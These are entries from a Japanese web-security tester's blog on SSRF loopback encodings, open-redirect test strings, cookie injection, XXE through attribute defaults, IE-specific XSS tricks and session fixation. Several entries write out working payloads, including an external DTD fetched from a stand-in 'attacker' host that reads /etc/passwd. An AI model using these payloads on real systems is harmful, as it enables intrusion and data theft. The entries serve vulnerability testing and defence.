T.Teradaの日記

2012-05-10

[]久々に更新 00:13 久々に更新を含むブックマーク

1年以上時間があいてしまいました。

今後はたまーにAndroidやWebのセキュリティの話でも書こうかと思います。

[]loopback 00:10 loopbackを含むブックマーク

http://127.0.0.1/ と同じ意味となりうるURL。
ブラウザでアクセスするというよりは、HTTPクライアントとして機能するWebアプリに食わせます。
(一部のサーバ環境でしか動かないものもあります。)

http://127.0.0.1/               普通の表記
http://127.0.1/                 2,3番目のバイトをまとめる
http://127.1/                   2,3,4番目のバイトをまとめる
http://127.1.2.3/               2,3,4番目のバイトは何でもいい
http://127.66051/               上の2,3,4番目のバイトをまとめる
http://017700000001/            全バイトをまとめて8進数で
http://0017700000001/           0をもうひとつ
http://2130706433/              全バイトをまとめて10進数で
http://02130706433/             0を頭につけても10進数と解釈する環境も
http://2130772483/              127.1.2.3の全バイトをまとめて10進数で
http://0x7F000001/              全バイトをまとめて16進数で
http://0x37F000001/             32bitを超える数でoverflow 16進数
http://15015608321/             同上 10進数
http://0177.0.0.0x0001/         先頭バイトを8進数、4番目を16進数に
http://12%37.0.0.%31/           URLエンコード
http://12[TAB]7.0.[LF]0.1/      空白文字を入れる
http://a:a@127.0.0.1/           user/password付き
http://127.0.0.1./              お尻にドット
http://localhost./              上と同じ
http://localhost.localdomain/   hostsに書いてあるかも
http://example.jp/              DNSが127.0.0.1を返せば

ほとんどのは、How to Obscure Any URL にのってます

トラックバック - http://d.hatena.ne.jp/teracc/20120510

2011-02-14

[][]最近買った本 00:41 最近買った本を含むブックマーク

sla.ckers.orgのXSS板とかでよく見る人たちが著者に名前を連ねています。

行きの電車の中で読んでますが、まだ40ページくらい。先は長いです。

徳丸さんの本です。先ほどアマゾンでぽちりました。

Web開発者向けのセキュリティ本としてはこれ、という本になるんでしょうね。

目次を見ると、4章が盛りだくさんな感じです。

トラックバック - http://d.hatena.ne.jp/teracc/20110214

2011-02-12

[]オープンリダイレクト検査:Locationヘッダ編 15:05 オープンリダイレクト検査:Locationヘッダ編を含むブックマーク

オープンリダイレクタを脆弱性とみなすべきかは議論が分かれるところです。Google等の一部のサイトは、自サイトのオープンリダイレクタを脆弱性としてはみていません。一方で、脆弱性検査の現場では、見つかれば脆弱性として報告することが多いと思います。

その辺の議論はおいておいて、オープンリダイレクタの検査は、ブラウザの特性もからんで意外とバリエーションが多くて面白いので、本日の日記で取り上げてみたいと思います。

大まかにいうと、リダイレクトは、302応答のLocationヘッダ、Refresh(HTTPヘッダ、METAタグ)、JavaScriptによるものがありますが、本日は302応答のLocationヘッダのリダイレクタについて取り上げます。

パターン1:サブドメイン部分に値が入る場合

以下のように、サブドメインの箇所が動的なケースです。

Location: http://{$u}.hatena.ne.jp/hoge

このリダイレクタ("redir.cgi" とします)を悪用して、"example.com" ドメインにリダイレクトさせることを目指します。なお、$uの正常な値は "www" で、LF(%0A U+000A)は使えないとします。

まずは、一番基本的な検査文字列3つです。

■1A: redir.cgi?u=example.com/www
 → Location: http://example.com/www.hatena.ne.jp/hoge

■1B: redir.cgi?u=example.com?www
 → Location: http://example.com?www.hatena.ne.jp/hoge

■1C: redir.cgi?u=example.com%23www  (%23 => #)
 → Location: http://example.com#www.hatena.ne.jp/hoge

上の1A、1B、1Cでは、URL内で区切りとして使用される "/", "?", "#" を使っています。

アプリがブラックリストでパラメータuの値チェックをしているとしても、上の3つの記号については対策されていることは割とあります。その場合は、以下の1D〜1Fを試します。

■1D: redir.cgi?u=example.com;www
 → Location: http://example.com;www.hatena.ne.jp/hoge

■1E: redir.cgi?u=example.com:80www
 → Location: http://example.com:80www.hatena.ne.jp/hoge

■1F: redir.cgi?u=example.com\www
 → Location: http://example.com\www.hatena.ne.jp/hoge

1D, 1Eは ";" と ":" を使用しています。いずれも、Firefox、Operaでホスト名の終端として認識され、"example.com" にリダイレクトします。":" を使う場合は、その直後に妥当なポート番号を付けて ":80" のような値にしなければリダイレクトしません。

1Fは "/" の代わりに "\" を使っています。IE、Chromeで動作します。

次からは制御文字を使う検査文字列です。

■1G: redir.cgi?u=example.com%00www
 → ① Location: http://example.com
 → ② Location: http://example.com[0x00]www.hatena.ne.jp/hoge

1GはNULL(%00 U+0000)を使っています。応答のLocationヘッダを2パターン書いていますが、Apache上のCGIやPHPで試してみると、NULL以降が消えてなくなった①のLocationヘッダが返されます。その場合は、当然 "example.com" にリダイレクトします。

仮に、②のような応答が返っても、たいていのブラウザはHTTPヘッダのNULL以降を無視するので、"example.com" にリダイレクトします(Safariだけは違う)。

もう一つ制御文字を使う検査文字列です。

■1H: redir.cgi?u=example.com%0Dwww
 → Location: http://example.com[0x0D]www.hatena.ne.jp/hoge

IE、Opera、Chromeでは、CR(%0D U+000D)以降が無視されて、"example.com" にリダイレクトします。正確に言うと、これらのブラウザはCRをヘッダ行の区切りとして認識しています。つまり、この検査文字列は、HTTP Header Injectionを利用しています。

パターン2:スラッシュが先頭に付けられる場合

余り見ませんが、こんなケースです。

Location: /{$u}

$uの正常な値は "foo/bar.cgi" で、LF(%0A U+000A)は使えないとします。

こんなケースでの基本的な検査文字列は以下です。

■2A: redir.cgi?u=/example.com/foo/bar.cgi
 → Location: //example.com/foo/bar.cgi

URLの先頭の、"http:" や "https:" は省略可能なので、2Aは "example.com" にリダイレクトします。

たいていのアプリは上の2Aで詰むのですが、先頭に "/" が使えない場合は以下のような検査文字列があります。

■2B: redir.cgi?u=\example.com/foo/bar.cgi
 → Location: /\example.com/foo/bar.cgi

■2C: redir.cgi?u=%09/example.com/foo/bar.cgi
 → Location: /[0x09]/example.com/foo/bar.cgi

2Bでは、"/" の代わりに "\" を使っています。IE、Chromeで動作します。2Cはタブ(%09 U+0009)を使っています。IE、Chromeは、URLに含まれるタブ等の文字を無視するため、2Aと同様に動作します。

パターン3:Locationヘッダの先頭に値が入る場合

こんなケースです。一番良く見るパターンです。

Location: {$u}

$uの正常な値は "http://www.hatena.ne.jp/foo/" で、LF(%0A U+000A)は使えないとします。

外部にリダイレクトしないように、パラメータuの値を何らかの方法でチェックしていても、それが不完全ならば下の3A、3Bが通ってしまうかもしれません(このような値が通ることは少なくありません)。

■3A: redir.cgi?u=http://www.hatena.ne.jp.example.com/foo/
 → Location: http://www.hatena.ne.jp.example.com/foo/

■3B: redir.cgi?u=http://example.com/http://www.hatena.ne.jp/foo/
 → Location: http://example.com/http://www.hatena.ne.jp/foo/

元のURL(http://www.hatena.ne.jp/)のサブドメイン(www)の箇所のチェックが不完全ならば、下の3Cが通ってしまうかもしれません。

■3C: redir.cgi?u=http://example.com?.hatena.ne.jp/foo/
 → Location: http://example.com?.hatena.ne.jp/foo/

「パターン1:サブドメイン部分に値が入る場合」で見たように、上の3Cの "?" の箇所を、";", "#", ":80", "\", NULL, CR などに変えるバリエーションがあります。

先頭が "/" で始まる値が許容される場合は、下の3Dのような検査パターンが通るかもしれません。

■3D: redir.cgi?u=//example.com/foo/
 → Location: //example.com/foo/

「パターン2:スラッシュが先頭に付けられる場合」でみたように、上の3Dの "/" を "\" にするなどのバリエーションがあります。

テストしたブラウザ

IE8、Firefox3.6、Opera10、Safari5、Chrome9(いずれもWindows Vista版)。

IshibashiTsuyoshiIshibashiTsuyoshi 2013/07/14 15:26 ご無沙汰してます!ご存知だと思いますけど、こんな変種に気づいてちょっと興奮したのでコメント残してきます。前方一致チェックかつコロンを許容してるケースは滅多にないと思いますが・・・ http://www.hatena.ne.jp:80@example.com/

IshibashiTsuyoshiIshibashiTsuyoshi 2013/07/14 15:39 5/10の記事で触れられてましたね!(>_<)

2011-02-06

[]他人のCookieを操作する 22:58 他人のCookieを操作するを含むブックマーク

脆弱性検査をしていてしばしば出くわすのは、他人のCookieの値を操作できるとXSSやセッション固定等の攻撃が成功するようなWebアプリケーションです。

このようなアプリがあると、業界的には「Cookie Monsterという問題がありまして、、、でも、、、基本的に現状のブラウザではリスクは低いです」みたいな話がされることが多いのではないかと思います。

本日の日記では、それ(Cookie Monster)以外にも状況によっては考慮すべきことがある、という話をしたいと思います(過去の日記でも少し書いた話ですが、もう少しちゃんと書いておこうと思います)。

通信経路上に攻撃者がいる

被害者のブラウザとサーバの通信経路上に、アクティブな攻撃者がいると想定しましょう。

そのような状況では、攻撃者は正規のサーバになりかわってブラウザと通信をしたり、ブラウザと正規のサーバで交わされる通信に介入することができます。もちろんそれが可能なのは、通信がHTTP(SSLではないということ)の場合に限られます。

言うまでもなく、そのような状況では、攻撃者は対象サイトのCookieを被害者のブラウザにセットすることができます。

HTTPを使うサイトの場合

通信経路上に攻撃者がいる状況では、そもそもCookieをブラウザにセットできるという以前に、攻撃者はHTTPのリクエスト・レスポンスを好きに盗聴・改竄できます。

WebサイトがHTTPを使用しており、通信経路上に攻撃者がいるリスクを考慮しないと決めている場合には、通信経路上の攻撃者によりCookieがセットされるリスクもまた考慮する必要はありません。

問題は、WebサイトがHTTPではなくHTTPSを使用している場合です。

HTTPSを使うサイトの場合

世の中には、通信経路に攻撃者がいてもセキュアで無ければならないサイトもあります。そのようなサイトは通常HTTPSを使用します。

HTTPSのサイトでは、以下のような攻撃のリスクを考慮する必要があります。

  1. 被害者をHTTPで対象サイトにアクセスさせる
    攻撃者が通信経路上にいる場合、これは難しいことではありません。攻撃者は偽のSet-Cookieを含む応答を被害者のブラウザに返し、そのままHTTPSのページにリダイレクトさせます。
  2. 被害者はHTTPSで対象サイトにアクセスする
    このリクエストでは1でセットされたCookieがサーバに送られてしまいます。

3点ほど補足します。

1点目は、上の(1)のリクエストはHTTPであり、セキュリティ警告のポップアップ等を出すことなく被害者のレスポンスを偽造しCookieを汚染することができるということです。

2点目は、対象サイトがHTTPSだけしか使っておらず、したがってHTTPのポートを開けていないとしても、(1)の攻撃は可能だということです。途中にいる攻撃者はHTTPが開いているかのごとくブラウザに応答することができるからです。

3点目は、(1)のCookieはHTTPでセットされたものですが、(2)のHTTPSのリクエストでサーバに送られてしまうということです。Cookieの仕組み上そうなってしまいますし、HTTPのCookieとHTTPSのCookieは区別することもできません。

CookieでXSSする脆弱性がWebアプリにあるならば、通信経路上の攻撃者が上の(1)でCookieに植えつけた攻撃コードが(2)の応答で実行されます。ここで重要なのは、(2)がHTTPSであり、HTTPSのコンテキストでJavaScriptが実行されてしまうということです。

つまり通信経路上の攻撃者が、セキュア属性付きのCookieを盗んだり、HTTPSのページの内容を盗んだり改竄したりできるということになります(もはやCross-Site Scriptingとはいえない攻撃ではありますが、リスクとして考慮すべき攻撃です)。

XSSではなくセッション固定の脆弱性がWebアプリにあるならば、通信経路上の攻撃者がHTTPSで保護されたセッションを固定化し、なりすまし等ができるということになります。

まとめ

まとめると、通信経路に攻撃者がいてもセキュアであるべきサイト(HTTPSのサイト)については、「他人のCookieは操作できない」という前提でセキュリティを考えることはできないということです。

理由は(「Cookie Monster」等とは関係なく)、HTTPの通信に介入できる攻撃者はCookieを操作できるからです。

[]GoogleのReward Program 17:26 GoogleのReward Programを含むブックマーク

少し前の話ですが、Googleが自身のWebサイトの脆弱性発見者に対して、報酬(現金 500 USD以上)を支払うプログラムをはじめています。

Google Online Security Blog: Rewarding web application security research

過去にも、脆弱性の発見者に報酬を支払うプログラムはありましたが、Webブラウザ等のソフトウェアの脆弱性が対象でした(参考)。

今回のプログラムでは、Webアプリの脆弱性が対象だというところが特色です。しかも、実際に運用されている本番のGoogleサイトの脆弱性が対象です。その脆弱性の発見者に報奨金を払うということは、(一定の制約は設けていますが)基本的に自由に本番サイトの検査をしてよいといっているわけです。

実際にやってみる

Webアプリの診断をやっているものにとっては、これ以上のお小遣い稼ぎはない!と思って私も参加してみました。20〜30ページくらい見れば、XSSくらいは簡単に見つかるだろうと思っていたのもあります。

ですが、始めてすぐに、さすがにGoogleというべきか、trivialな脆弱性はまず見つからないだろうということに気が付きました。かなり堅い作りがされているということです。しかも、自動検査ツールは使えないし(使ってはならないと決められている)、JavaScriptは殆どminifyされているし・・・ということで、脆弱性を探すのはかなり骨がおれる作業になりました。

結局、数日かけてなんとか2件脆弱性を発見して報告しました。発見した脆弱性の内容は修正完了後に公開してよいことになっています。私が発見した2件は、まだ一部直っていないものがあるようです。修正されたら公開しようと思います(Googleも公開することを推奨しています)。

報告〜お金を受け取るまでの流れ

Reward Programに興味のある方もいると思いますので、報告〜お金を受け取るまで書いてみます。

まずはレポートです。発見した脆弱性の内容を英語で書いて、メールで報告しました。報告先のメールアドレスはこちらに書かれています。

今回は報告した2件とも、報奨対象の脆弱性と認められました(ものによっては対象外とみなされることもあるようです)。

脆弱性を報告してから1週間もたたないうちに、

Congratulations! The panel has decided to award you $1000 for the vulnerability.

というようなメールが来ました。いかにも怪しい書き出しのメールですが本物です。今回は、報告した2件のうち1件(XSS)は1,000 USD、もう1件(ロジック系)は500 USDということでした。金額は、脆弱性の危険度や"賢さ度合い"によって決まるとのこと。

あとは報酬の受け取りです。Googleから手順を書いたメールが来るので、その通りにすればよいのですが、少々手間です。

まずは、Googleのサイトでsupplier登録します。Googleに対して物品やサービスを納品するベンダ(会社や個人事業主)として登録することで、Googleから支払いを受けられるようになるわけです。ここでは氏名や銀行口座等を登録します。受け取るお金は米ドルですが、銀行に問い合わせたところ、通常の円建ての普通口座でも問題なく受け取れる(日本円になって入金される)ということだったので、私は日本の銀行の普通口座を登録しました。

次にW8BENフォームの提出を求められました。W-8BENフォームの記入方法(書き方)を参考にしてPDFのフォームに記入してプリントアウトし、手書きで署名したものをスキャナーで読み込んで、メール添付で送りました。

このW8BENを提出すると、私のように米国外に居住している人間は、米国で所得税を源泉徴収されなくなります。しかし、日本での納税の義務はあります(私のようなサラリーマンなら、給与以外の所得は年間20万円まで非課税だと思いますが、各々確認ください)。

最後に、脆弱性の報告者として自身の名前を公表して欲しい場合はその旨を連絡します。名前はこのページに載りました(私以外にも日本人ぽい名前がのってます)。

なお、お金の方はW8BENを送ってから3週間ほどで「振り込んだよ」というメールが来ました。確認したところ口座に入金されていました。

実際にやる場合は

以下のページに色々と注意事項などが書いてありますので、まずは一読を。

Google Online Security Blog: Rewarding web application security research

Program Rules ? Application Security ? Google

2010-07-03

[]属性値のXXE攻撃 15:25 属性値のXXE攻撃を含むブックマーク

以前、属性値でのXXE(Xml eXternal Entity)攻撃を試したのですが、やり方がよく判りませんでした。

最近また試してみて、属性値での攻撃方法が判ったので日記に書いてみます。

Servletプログラム

以下のようなJava Servletプログラムをサーバに置きます。

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import org.w3c.dom.*;
import org.apache.xerces.parsers.*;
import org.xml.sax.*;

public class AttrTest1 extends HttpServlet {
  public void service(HttpServletRequest request,
                      HttpServletResponse response)
    throws ServletException, IOException {

    try {
      // リクエストBODYをParseする
      DOMParser parser = new DOMParser();
      parser.parse(new InputSource(request.getInputStream()));

      Document doc = parser.getDocument();
      // data1要素を取り出す
      Element data1 = (Element)doc.getElementsByTagName("data1").item(0);
      // data1要素のattr1属性の値を取り出す
      String attr1 = data1.getAttribute("attr1");

      // attr1属性値を出力する
      response.setContentType("text/plain; charset=UTF-8");
      PrintWriter out = response.getWriter();
      out.println("attr1 value: " + attr1);
    }
    catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

プログラム内のコメントの通り、リクエストのBODYをParseして、data1要素のattr1属性値を取り出して、その値をレスポンスします。

このプログラムは、以下のような入力・出力処理を行います。

【入力】<data1 attr1="111&gt;222"></data1>

【出力】attr1 value: 111>222
ダメな攻撃方法

すぐに思いつくのは、下のようなXMLを食わせる攻撃です。

<?xml version="1.0"?>
<!DOCTYPE data1 [
<!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<data1 attr1="&pass;"></data1>

しかし、これだとParseエラーとなってうまくいきません。どうも、属性値内では外部実体参照は使えないようです。

XMLの仕様書の「3.1 Start-Tags, End-Tags, and Empty-Element Tags」にも以下のような記述がありました。

Well-formedness constraint: No External Entity References

Attribute values MUST NOT contain direct or indirect entity references to external entities.

Extensible Markup Language (XML) 1.0 (Fifth Edition)
属性のデフォルト値を使う

じゃあどうすればいいんだという話です。

以前の日記(XMLをParseするアプリのセキュリティ(補足編)- T.Teradaの日記)で使った手法と似ていますが、パラメータ実体を使って属性のデフォルト値を細工するとうまくいきます。

まず、以下のような外部DTD(test1.dtd)を、攻撃者のサーバ上に用意します。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ATTLIST data1 attr1 CDATA '%p1;'>">
%p2;

1行目でパラメータ実体(%p1;)を定義します。「%p1;」は、攻撃対象サーバ上の/etc/passwdファイルの中身を参照します。次の行では、data1要素のattr1属性のデフォルト値を「%p1;」(つまり/etc/passwdの中身)だと定義するためのパラメータ実体(%p2;)を用意します。最後の行で「%p2;」を展開して、「%p2;」の中身をDTDとして評価させます。

攻撃対象のServletプログラムには、下のXMLを食わせます。

<?xml version="1.0"?>
<!DOCTYPE data1 SYSTEM "http://attacker/test1.dtd" >
<data1 />

外部DTD(test1.dtd)により、data1要素のattr1属性が指定されない場合のデフォルト値は/etc/passwdファイルの中身になるため、属性値を省略したXMLを食わせると攻撃対象サーバ上の/etc/passwdの中身が返ってきます*1

#ただまあこの方法が使えることは滅多にないと思いますが…

*1:返ってくるとき、ファイルの中身に含まれる改行文字はスペースに正規化された状態になっています。

2010-06-12

[]HTML PurifierのSecurity Fix 03:19 HTML PurifierのSecurity Fixを含むブックマーク

HTML Purifierの4.1.1がリリースされました。今回のリリースには1件のSecurity Fixが含まれています。今日はその内容について少し書きます。

IEのCSSのurl()の扱い

以下のようなstyle属性があったとき、ブラウザはどのように解釈するでしょうか?

<span style="background: url('http://host/aaa\'\);color:red;')">111</span>

Firefox、Opera、Safariでは、「http://host/aaa');color:red;」というURIをもつbackgroundプロパティと解釈します。したがってcolorプロパティが有効になることはありません。これはCSSの仕様から見ても至極妥当な挙動です。

ところがIEだけが違う解釈をします。IEで上記のHTMLを表示させると、backgroundプロパティのURI値は「http://host/aaa\'\」と解釈されます。そして、その後ろのcolorプロパティが有効となり「111」という文字は赤字で表示されます。

このように、IEはurl()内の文字列リテラルにおいて「\」によるエスケープを解釈しません。HTML Purifierの4.1.1未満にあった脆弱性は、IEのこのような特異な解釈(バグ)を適切にハンドリングできないというものでした。

font-familyプロパティ

font-familyプロパティでも「'」または「"」で括ったリテラルが使用可能です。

こちらはどうなのか以下のHTMLで試してみます。

<span id="s1" style="font-family: 'aaa\';color:red;'">111</span>

<script>
alert(document.getElementById('s1').style.fontFamily);
</script>

このHTMLをIEで表示すると、他のブラウザと同じく「'aaa';color;red;'」がalertされます。つまり、font-familyについていえば、IEも「\」によるエスケープ構文をサポートしているということになります。

ならばurl()でも「\」エスケープをサポートすればよさそうなものですが、上で説明したようにそうはなっていません。ひょっとしたら、url()では「C:\terada\...」のようなパスが使われる可能性を考慮して、「\」エスケープを解釈しないのかも…と推測していますが、真相はわかりません。

とられた対策

HTML Purifier 4.1.1では以下の対策がとられました。

Rewrite CSS url() and font-family output logic.

The new logic is as follows:

  • Given a URL to insert into url(), check that it is properly URL encoded (in particular, a doublequote and backslash never occurs within it) and then place it as url("http://example.com").
  • Given a font name, if it is strictly alphanumeric, it is safe to omit quotes. Otherwise, wrap in double quotes and replace '"' with '\22 ' (note trailing space) and '\' with '\5C ' (ditto).

Public Git Hosting - htmlpurifier.git/commit

実はこの対策は私が提案したものがベースになっていたりします(Release Noteにcreditしてくれました。脆弱性自体はMario Heiderich氏が報告したようです)。

IEの挙動が変わらない限り、このようなちょっと面倒な対処をせざるをえないと思います。

[]JavaScriptの文字列リテラルでXSS 05:14 JavaScriptの文字列リテラルでXSSを含むブックマーク

たまに以下のようにJavaScriptの文字列リテラルに値が入るアプリを見ることがあります。

<script>
var foo="●";
...
</script>

値は「●」の箇所にHTMLエスケープされて出力されます(下の方の例も同じ)。

こんなケースでどうXSSするか?という話です。

簡単にXSSできるケース

以下のパターンだとXSSするのは簡単です。

<script>
var foo="●"; var bar="●"; ...
</script>

?foo=\&bar=-alert(123)//のような値を与えるだけです。

難しいケース

次はこんなパターンを考えます。

<script>
var foo="●";
var bar="●";
...
</script>

こうなると難易度はぐっと上がります。というよりも、ほとんどの場合はXSSできません。

しかし、状況次第ではXSSできることもあります。

攻撃方法

HTMLの文字コードにはUTF-8が指定されているものの、UTF-8として不正なバイトシーケンスがHTMLに出力できる状況であるとします。

そんな状況ならば、?foo=%F0&bar=-alert(123)//のような値を与えることでXSSできます。

%F0(0xF0)はUTF-8の4バイト文字の先頭バイトです。IE6だと%F0の後ろの3バイトを食いつぶしてくれます。JavaScriptコード上で、[0xF0]の後ろに「"」(0x22)、「;」(0x3B)、LF(0x0A)の3バイトがありますが、それらがうまいこと食いつぶされるということになります。

HTMLの改行文字がLFではなくCR LFならば、後ろの4バイトを食いつぶすために、UTF-8の「5バイト文字」を使う必要があります。厳密にいうと「5バイト文字」というのは規格上存在しませんが、IE6には存在するようで、fooに「%F8」を入れれば後ろの4バイトが食いつぶされてうまくXSSできます。

IE6+UTF-8での"食いつぶし"

余談ですがIE6のUTF-8処理はかなりユニークです。

ここでは「©」(U+00A9)という文字をとりあげて説明します。

この文字は、UTF-8でエンコードすると[0xC2][0xA9]というバイトになります。これを2進数(ビット)であらわすと、以下のようになります。

0xC2     0xA9
11000010 10101001

UTF-8では2バイト目以降の先頭2ビット(上の赤字部分)は「10」で固定です。固定なので、コードポイントを示すデータではなく、「2バイト目以降である」ことを示す意味しか持っていません。とらえようによってはどうでもいい部分ということです。

IE6のUTF-8デコーダは、この2ビットを無視してデコードします。これを利用すると、ある文字を複数のバイト列で表現することができます。

11000010 00101001 ←0xC2 0x29
11000010 01101001 ←0xC2 0x69
11000010 10101001 ←0xC2 0xA9(ただしいU+00A9)
11000010 11101001 ←0xC2 0xE9

IE6は、上の4つのバイト表現をすべて「©」(U+00A9)と解釈してしまいます。

このようにIE6のデコーダはかなりルーズにできています。それもあって、直後の1バイトが食いつぶされるだけでなく、先の例のように3バイト(もしくはそれ以上)が食いつぶされるような現象が発生します。

その他の方法

UTF-8以外ではどうかというと、(IE6・IE7では)EUC-JPの場合にXSSを成功させることができます。

しかも、UTF-8では「foo」「bar」の2つの変数を制御できなければ攻撃は成功しませんが、EUC-JPでは1つの変数に任意のバイトを入れられるだけで攻撃可能です。出力される箇所がSCRIPTタグの中でなくてもかまいません。

詳細はあえて割愛しますが、EUC-JPのデコーダもかなりおかしなことになっています。IE8ではかなり改善されていますが、それでもまだ中途半端なところがあります。

トラックバック - http://d.hatena.ne.jp/teracc/20100612

2010-05-11

[]CookieのPath 22:43 CookieのPathを含むブックマーク

遅ればせながら、高木さんの日記を見ました。

高木浩光@自宅の日記 - 共用SSLサーバの危険性が理解されていない

CookieのPath指定がセキュリティ上意味を持たない件について書かれています。

日記に書かれたIFRAMEを使う方法で既に「詰み」なのですが、もうちょっと別の方法(JavaScriptを使わない方法)について書きます。

URLを細工する

被害者の「http://example.jp/aaa/」のCookieを「http://example.jp/bbb/」から取得することを考えます。攻撃者は「/bbb/foo.cgi」というCGIを置いて、被害者に以下のようなURLを踏ませます。

URL1: http://example.jp/aaa/%2E./bbb/foo.cgi
URL2: http://example.jp/aaa/..%2Fbbb/foo.cgi

※ %2Eは「.」を、%2Fは「/」をURLエンコードしたもの

例えば、IE6やSafari4でURL1を踏むと、ブラウザはfoo.cgiが「/aaa/」の下層にあるとみなすため「path=/aaa/」のCookieをサーバに送ります。一方で、たいていのWebサーバはURL1の「%2E./」を「../」と解釈するため、「/aaa/%2E./bbb/foo.cgi」を「/bbb/foo.cgi」にマップします。つまり、「path=/aaa/」のCookieを「/bbb/」以下のプログラムから参照できるということです。

URL2も同じです。たいていのブラウザ(IE6〜8やFirefox3)でURL2を踏むと、URL1と同じように「path=/aaa/」のCookieがサーバに送られます。一方で、IISやCoyoteなどの一部のWebサーバは、URL2に対するリクエストを「/bbb/foo.cgi」にマップします(ちなみにIISでは「%5C」を使うこともできます)。

攻撃への利用(1)

しかし、上述のようにIFRAMEを使う方法などでCookieを取ったり、(Cookieにhttponly属性が設定されている等の理由で)Cookieが取れなくても、IFRAMEやXMLHttpRequestを使ってページのデータを盗むことができます。

ですので、上のようなURLを細工するテクニックは本当に役に立たないトリビアでしかないわけですが、むかし一回だけあるサイトのDOM Based XSSの検査で役に立ったことがあります。

そのサイトのページのJavaScriptでは、document.URL(http://example.jp/XXX/hoge.html)から「XXX」の部分を切り出して、そのままdocumnt.write()していました。そのため、(少なくともIE6では)「XXX」にタグを入れたURLを作って被害者に踏ませればXSSするのですが、困ったことに「XXX」を操作すると404(Not Found)になります。

そんな状況で使ったのが「%2E./」です。具体的には「http://example.jp/(攻撃コード)/%2E./hoge.html」とすることで、404にならずに攻撃コードをJavaScriptに送り込むことができます。

あとは、(攻撃コード) の部分をどうするかを考えればよいのですが、実は意外とややこしいです。

攻撃コードはURLに入れなければならないために制約があります。スペース等の空白文字類は使えませんし、「/」を使うこともできません(JavaScriptがURLを「/」でsplitするため)。空白文字類と「/」が使えないということは、属性付きのタグや閉じタグを入れられないということです。

このような状況には極たまに遭遇するのですが、そんなときに使うのは「<style>body{a:expression(alert(123))}」のようなパターンです。閉じタグがなくて気持ち悪いですが、少なくともIE6では動いてくれます。

攻撃への利用(2)

またCookieとPathの話に戻ります。

先の例は、「URLを操作することで、本来はCookieが送信されないページに対して、Cookieを無理やり送信させる」ものでした。その逆で、「本来はCookieが送信されるページに、Cookieを送信させない」こともできます。非常に限定された状況では、攻撃者にとって「Cookieを送信させない」ことがメリットになることもあると思います。

例えば、Cookie Aは「path=/」に発行され、Cookie Bは「path=/test/」に発行されているとします。ブラウザがこの2つのCookieを持っているならば、「/test/foo.html」にアクセスするとA・Bの2つのCookieがサーバに送られます。

ところが、「//test/foo.html」のようなURL(スラッシュをダブらせる)に被害者をアクセスさせると、「path=/test/」のCookie Bはサーバに送られず、「path=/」のCookie Aだけがサーバに送られます。

このような状況が、攻撃者にとって得になるか?というと、そんなケースはあまりないと思います。ただ、「T.Teradaの日記 - セッションIDと認証チケット」に書いたような複数のCookieを使用しているサイトにおいて、アプリが何らかの問題を抱えているという条件下であれば、一部のCookieを送らせないことが攻撃者を手助けすることもあるかもしれません。

2010-05-02

[]セッションIDと認証チケット 08:44 セッションIDと認証チケットを含むブックマーク

以前の日記で、ASP.NETのセッション固定対策について書きました。

その結論をまとめると、

  • ASP.NETにはセッションIDを変更するまともな方法が存在しない。
  • そのため、ASP.NETではフォーム認証機構(FormsAuthentication)を使ってログイン状態管理を行うべき。
  • FormsAuthenticationは、通常のセッションID(ASP.NET_SessionId)とは別の認証チケット(Cookie)をログイン成功時に発行し、この認証チケットによってログイン後のユーザの識別を行う仕組み。

ということになります。

ASP.NETのサイトに限らず、セッション(PG言語やフレームワークに組み込みのセッション機構)と、認証チケットの両方を使用しているサイトはたまに見られます*1

特にポータルサイトのような大規模なサイトは、ログインをつかさどるシステムと、会員向けのブログや日記、ニュース、ショッピングなどの各種機能を提供する多数のサブシステム(開発言語やサーバの物理的な場所などはバラバラ)から構成されています*2。これらのシステムでSSO(Single Sign On)を実現するために、ログインをつかさどるシステムが認証チケットを発行し、各種会員向け機能を提供するサブシステムでは、サブシステム毎のデータを扱う個別のセッションと、認証チケットの両方を使用していることがあります。

本日はそのようなサイトで見られる脆弱性について書きたいと思います。ただし、いわゆるセッション機構と認証チケットの両方を使用するといっても、その使い方はサイトによって千差万別であり、脆弱性のあり方もまた千差万別です。あまり網羅性は気にせずに、思いつくままに書いていきたいと思います。

前提とするのはPCブラウザ向けのサイトです。認証チケット、セッションIDともにCookieに格納しているとします。ただし、WebアプリはGETパラメータで与えられた認証チケット・セッションIDも受け付けると仮定します(説明を判りやすくするため)。認証チケットは「AuthTicket」、セッションIDは「SessID」という名前であらわします。

1.セッションIDと認証チケットの両方を見るタイプ

まずは、セッションIDと認証チケットの両方を、関連付けることなく使用しているサイトをとりあげます。

つまり、ログイン後のページでは、認証チケットをデコードして会員IDを得る処理を都度行うとともに、それとは独立して仕掛りデータの保存用にセッション変数を使うアプリです。

ASP.NETのFormsAuthenticationを使った場合も、特に何も考えずにセッションを使用したならばこの状態となります。

例としてとりあげるのは、ログイン後に会員個人情報の変更を行うアプリです。このアプリでは、ユーザがフォームで入力した個人情報をセッション変数に一時保存します。変更完了処理では、セッション変数から個人情報を取り出して、それを会員に紐付けて会員情報DBに保存します。

1.1 セッション固定

このようなアプリでありがちなのはセッション固定の脆弱性です。

攻撃は、被害者が個人情報の入力を開始するよりも前に、被害者のブラウザにセッションIDを植えつけることからはじまります。

ただし、このアプリでは、セッションIDを固定化しても被害者のユーザになりすますことはできません。なりすますには認証チケットの方が必要で、なにか別の脆弱性でもない限り攻撃者はそれを入手することはできないからです。

しかし被害者は攻撃者が植えつけたセッションIDを持っており、被害者がフォームで入力した個人情報は、そのセッションIDに紐付いてセッション変数に保存されます。実際に、いま被害者は個人情報の入力を終えて確認画面を表示しており、セッション変数には被害者の個人情報が保存されているとします。攻撃者の狙いはこのデータを奪うことです。

このアプリでは、利用者が確認画面から入力画面に戻って情報を修正できるようにしており、このときセッション変数から情報を引き出してフォームに埋め込んだ画面をユーザに戻しているとします。

攻撃者はこの挙動を利用します。攻撃者は自ら以下のようなURLにアクセスします。

https://www.example.jp/inputProfileBack.cgi
        ?SessID=(被害者に使わせたセッションID)
        &AuthTicket=(攻撃者の認証チケット)

inputProfileBack.cgiは、(確認画面から戻って)個人情報を入力するフォームを表示するCGIです。

